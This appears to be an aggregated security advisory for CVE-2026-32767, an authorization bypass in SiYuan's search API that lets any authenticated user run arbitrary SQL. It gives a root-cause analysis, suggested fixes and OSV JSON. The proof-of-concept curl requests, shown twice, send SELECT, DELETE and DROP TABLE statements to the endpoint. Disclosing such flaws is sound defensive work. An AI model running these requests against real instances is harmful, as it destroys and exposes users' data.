CVE-2026-32767: SiYuan Authorization Bypass Allows Arbitrary SQL Vulnerability

CRITICAL
Advisory Identifier: GHSA-j7wh-x834-p3r7
CVSS 9.8
CWE-89 CWE-863
Published
Advisory Summary

CVE-2026-32767 is a CRITICAL (CVSS 9.8) authorization bypass allows arbitrary sql vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting SiYuan libraries in the Go ecosystem. The issue involves authorization bypass allows arbitrary sql execution via search api. Remediation is available in the latest vendor maintenance releases.

CVE-2026-32767 at a Glance

CVE Identifier CVE-2026-32767
GHSA Identifier GHSA-j7wh-x834-p3r7
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product SiYuan
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-32767

To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: Latest secure release
Upgrade github.com/siyuan-note/siyuan/kernel to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-32767, inspect your project dependencies for SiYuan:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the `/api/search/fullTextSearchBlock` endpoint. When the `method` parameter is set to `2`, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the `Reader` role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database. This is inconsistent with the application's own security model: the dedicated SQL endpoint (`/api/query/sql`) correctly requires both `CheckAdminRole` and `CheckReadonly` middleware, but the search endpoint bypasses these controls entirely. ## Root Cause Analysis ### The Vulnerable Endpoint **File:** `kernel/api/router.go`, line 188 ```go ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock) ``` This endpoint only applies `model.CheckAuth`, which permits **any** authenticated role (Administrator, Editor, or Reader). ### The Properly Protected Endpoint (for comparison) **File:** `kernel/api/router.go`, line 177 ```go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL) ``` This endpoint correctly chains `CheckAdminRole` and `CheckReadonly`, restricting SQL execution to administrators in read-write mode. ### The Vulnerable Code Path **File:** `kernel/api/search.go`, lines 389-411 ```go func fullTextSearchBlock(c *gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg) blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) // ... } ``` **File:** `kernel/model/search.go`, lines 1205-1206 ```go case 2: // SQL blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize) ``` When `method=2`, the raw `query` string is passed directly to `searchBySQL()`. **File:** `kernel/model/search.go`, lines 1460-1462 ```go func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) { stmt = strings.TrimSpace(stmt) blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize) ``` **File:** `kernel/sql/block_query.go`, lines 566-569, 713-714 ```go func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) { parsedStmt, err := sqlparser.Parse(stmt) if err != nil { return selectBlocksRawStmt(stmt, limit) // Falls through to raw execution } // ... } func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) { rows, err := query(stmt) // Executes arbitrary SQL // ... } ``` **File:** `kernel/sql/database.go`, lines 1327-1337 ```go func query(query string, args ...interface{}) (*sql.Rows, error) { // ... return db.Query(query, args...) // Go's database/sql db.Query — executes ANY SQL } ``` Go's `database/sql` `db.Query()` will execute any SQL statement, including `DELETE`, `UPDATE`, `DROP TABLE`, `INSERT`, etc. The returned `*sql.Rows` will simply be empty for non-SELECT statements, but the destructive operation is still executed. ### Authorization Model **File:** `kernel/model/session.go`, lines 201-210 ```go func CheckAuth(c *gin.Context) { // Already authenticated via JWT if role := GetGinContextRole(c); IsValidRole(role, []Role{ RoleAdministrator, RoleEditor, RoleReader, // <-- Reader role passes CheckAuth }) { c.Next() return } // ... } ``` **File:** `kernel/model/session.go`, lines 380-386 ```go func CheckAdminRole(c *gin.Context) { if IsAdminRoleContext(c) { c.Next() } else { c.AbortWithStatus(http.StatusForbidden) // <-- This check is MISSING on the search endpoint } } ``` ## Proof of Concept ### Prerequisites - SiYuan instance accessible over the network (e.g., Docker deployment) - Valid authentication as any user role (including `Reader`) ### Steps to Reproduce 1. Authenticate to SiYuan and obtain a valid session cookie or API token. 2. **Read all data (confidentiality breach):** ```bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <reader_token>" \ -d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}' ``` 3. **Delete all blocks (integrity/availability breach):** ```bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <reader_token>" \ -d '{"method": 2, "query": "DELETE FROM blocks"}' ``` 4. **Drop tables (availability breach):** ```bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <reader_token>" \ -d '{"method": 2, "query": "DROP TABLE blocks"}' ``` 5. **Compare with the properly protected endpoint** (should return HTTP 403 for Reader role): ```bash curl -X POST http://<target>:6806/api/query/sql \ -H "Content-Type: application/json" \ -H "Authorization: Token <reader_token>" \ -d '{"stmt": "SELECT * FROM blocks LIMIT 10"}' ``` ### Expected Behavior The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with `/api/query/sql`. ### Actual Behavior Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations. ## Impact In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code): - **Confidentiality:** A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to. - **Integrity:** A Reader-role user can modify or delete any data in the database, despite having read-only access by design. - **Availability:** A Reader-role user can drop tables or corrupt the database, rendering the application unusable. ## Suggested Fix Add `CheckAdminRole` and `CheckReadonly` middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when `method=2`: **Option A — Restrict method=2 to admin (recommended):** In `kernel/api/search.go`, add a role check when `method=2`: ```go func fullTextSearchBlock(c *gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg) // SQL mode requires admin privileges, consistent with /api/query/sql if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } // ... } ``` **Option B — Enforce SELECT-only for non-admin users:** Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.

CVE-2026-32767 Affected SiYuan Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
≤ 0.0.0-20260313024916-fd6526133bb3

References

Frequently Asked Questions

What is CVE-2026-32767?
CVE-2026-32767 is a security vulnerability in SiYuan involving Authorization Bypass Allows Arbitrary SQL Execution via Search API under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which SiYuan versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-32767?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-32767?
CVE-2026-32767 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-32767?
CVE-2026-32767 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Go dependencies for CVE-2026-32767?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j7wh-x834-p3r7",
  "modified" : "2026-03-30T14:00:31Z",
  "published" : "2026-03-16T20:44:52Z",
  "aliases" : [ "CVE-2026-32767" ],
  "summary" : "SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API",
  "details" : "## Summary\n\nSiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the `/api/search/fullTextSearchBlock` endpoint. When the `method` parameter is set to `2`, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the `Reader` role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.\n\nThis is inconsistent with the application's own security model: the dedicated SQL endpoint (`/api/query/sql`) correctly requires both `CheckAdminRole` and `CheckReadonly` middleware, but the search endpoint bypasses these controls entirely.\n\n## Root Cause Analysis\n\n### The Vulnerable Endpoint\n\n**File:** `kernel/api/router.go`, line 188\n\n```go\nginServer.Handle(\"POST\", \"/api/search/fullTextSearchBlock\", model.CheckAuth, fullTextSearchBlock)\n```\n\nThis endpoint only applies `model.CheckAuth`, which permits **any** authenticated role (Administrator, Editor, or Reader).\n\n### The Properly Protected Endpoint (for comparison)\n\n**File:** `kernel/api/router.go`, line 177\n\n```go\nginServer.Handle(\"POST\", \"/api/query/sql\", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)\n```\n\nThis endpoint correctly chains `CheckAdminRole` and `CheckReadonly`, restricting SQL execution to administrators in read-write mode.\n\n### The Vulnerable Code Path\n\n**File:** `kernel/api/search.go`, lines 389-411\n\n```go\nfunc fullTextSearchBlock(c *gin.Context) {\n    // ...\n    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)\n    blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=\n        model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)\n    // ...\n}\n```\n\n**File:** `kernel/model/search.go`, lines 1205-1206\n\n```go\ncase 2: // SQL\n    blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)\n```\n\nWhen `method=2`, the raw `query` string is passed directly to `searchBySQL()`.\n\n**File:** `kernel/model/search.go`, lines 1460-1462\n\n```go\nfunc searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {\n    stmt = strings.TrimSpace(stmt)\n    blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)\n```\n\n**File:** `kernel/sql/block_query.go`, lines 566-569, 713-714\n\n```go\nfunc SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {\n    parsedStmt, err := sqlparser.Parse(stmt)\n    if err != nil {\n        return selectBlocksRawStmt(stmt, limit)  // Falls through to raw execution\n    }\n    // ...\n}\n\nfunc selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {\n    rows, err := query(stmt)  // Executes arbitrary SQL\n    // ...\n}\n```\n\n**File:** `kernel/sql/database.go`, lines 1327-1337\n\n```go\nfunc query(query string, args ...interface{}) (*sql.Rows, error) {\n    // ...\n    return db.Query(query, args...)  // Go's database/sql db.Query — executes ANY SQL\n}\n```\n\nGo's `database/sql` `db.Query()` will execute any SQL statement, including `DELETE`, `UPDATE`, `DROP TABLE`, `INSERT`, etc. The returned `*sql.Rows` will simply be empty for non-SELECT statements, but the destructive operation is still executed.\n\n### Authorization Model\n\n**File:** `kernel/model/session.go`, lines 201-210\n\n```go\nfunc CheckAuth(c *gin.Context) {\n    // Already authenticated via JWT\n    if role := GetGinContextRole(c); IsValidRole(role, []Role{\n        RoleAdministrator,\n        RoleEditor,\n        RoleReader,       // <-- Reader role passes CheckAuth\n    }) {\n        c.Next()\n        return\n    }\n    // ...\n}\n```\n\n**File:** `kernel/model/session.go`, lines 380-386\n\n```go\nfunc CheckAdminRole(c *gin.Context) {\n    if IsAdminRoleContext(c) {\n        c.Next()\n    } else {\n        c.AbortWithStatus(http.StatusForbidden)  // <-- This check is MISSING on the search endpoint\n    }\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- SiYuan instance accessible over the network (e.g., Docker deployment)\n- Valid authentication as any user role (including `Reader`)\n\n### Steps to Reproduce\n\n1. Authenticate to SiYuan and obtain a valid session cookie or API token.\n\n2. **Read all data (confidentiality breach):**\n```bash\ncurl -X POST http://<target>:6806/api/search/fullTextSearchBlock \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token <reader_token>\" \\\n  -d '{\"method\": 2, \"query\": \"SELECT * FROM blocks LIMIT 100\"}'\n```\n\n3. **Delete all blocks (integrity/availability breach):**\n```bash\ncurl -X POST http://<target>:6806/api/search/fullTextSearchBlock \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token <reader_token>\" \\\n  -d '{\"method\": 2, \"query\": \"DELETE FROM blocks\"}'\n```\n\n4. **Drop tables (availability breach):**\n```bash\ncurl -X POST http://<target>:6806/api/search/fullTextSearchBlock \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token <reader_token>\" \\\n  -d '{\"method\": 2, \"query\": \"DROP TABLE blocks\"}'\n```\n\n5. **Compare with the properly protected endpoint** (should return HTTP 403 for Reader role):\n```bash\ncurl -X POST http://<target>:6806/api/query/sql \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Token <reader_token>\" \\\n  -d '{\"stmt\": \"SELECT * FROM blocks LIMIT 10\"}'\n```\n\n### Expected Behavior\nThe search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with `/api/query/sql`.\n\n### Actual Behavior\nAny authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.\n\n## Impact\n\nIn a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):\n\n- **Confidentiality:** A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.\n- **Integrity:** A Reader-role user can modify or delete any data in the database, despite having read-only access by design.\n- **Availability:** A Reader-role user can drop tables or corrupt the database, rendering the application unusable.\n\n## Suggested Fix\n\nAdd `CheckAdminRole` and `CheckReadonly` middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when `method=2`:\n\n**Option A — Restrict method=2 to admin (recommended):**\n\nIn `kernel/api/search.go`, add a role check when `method=2`:\n\n```go\nfunc fullTextSearchBlock(c *gin.Context) {\n    // ...\n    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)\n\n    // SQL mode requires admin privileges, consistent with /api/query/sql\n    if method == 2 && !model.IsAdminRoleContext(c) {\n        ret.Code = -1\n        ret.Msg = \"SQL search requires administrator privileges\"\n        return\n    }\n    // ...\n}\n```\n\n**Option B — Enforce SELECT-only for non-admin users:**\n\nValidate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260313024916-fd6526133bb3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-j7wh-x834-p3r7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32767"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/issues/17209"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/d5e2d0bce0dffef5f61bd8066954bc2d41181fc5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863", "CWE-89" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-16T20:44:52Z",
    "nvd_published_at" : "2026-03-20T01:15:55Z"
  }
}